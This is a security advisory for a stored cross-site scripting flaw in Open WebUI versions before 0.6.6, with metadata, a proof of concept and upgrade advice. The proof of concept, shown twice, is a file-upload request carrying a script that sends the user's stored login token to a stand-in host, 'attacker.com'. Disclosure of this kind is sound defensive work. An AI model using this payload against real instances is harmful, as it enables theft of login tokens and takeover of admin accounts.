---
id: CVE-2025-46571
aliases:
  - GHSA-8gh5-qqh8-hq3x
title: Open WebUI  allows limited stored XSS vila uploaded html file
summary: Open WebUI  allows limited stored XSS vila uploaded html file
severity: medium
cwe:
  - CWE-79
  - CWE-87
vendor: open-webui
product: open-webui
ecosystem: pip
affected:
  - open-webui < 0.6.6
patched:
  - open-webui 0.6.6
published: '2026-07-07'
updated: '2026-07-07'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-8gh5-qqh8-hq3x'
references:
  - url: >-
      https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-46571'
  - url: >-
      https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0
  - url: >-
      https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438
  - url: 'https://github.com/open-webui/open-webui/releases/tag/v0.6.6'
  - url: 'https://github.com/advisories/GHSA-8gh5-qqh8-hq3x'
tags:
  - ghsa
  - pip
epss: 0.00353
epssPercentile: 0.26241
ingestedAt: '2026-07-07T17:42:07.384Z'
---

## Overview

### Summary
Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.

### Details

The following HTTP request can be sent to the backend server to upload a file with the contents:
`<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>`

```http
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
```

Note the `filename="test.html"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. 

The backend server responds to the above request with JSON data that contains an `id` parameter. 

![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)

This ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`

Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.

### PoC

First, upload an html containing JavaScript code to the backend server using the following HTTP request:
```http
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
```

Then copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`


### Impact

Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

## Affected packages

- `open-webui < 0.6.6`

## Remediation

Upgrade to a patched release:

- `open-webui 0.6.6`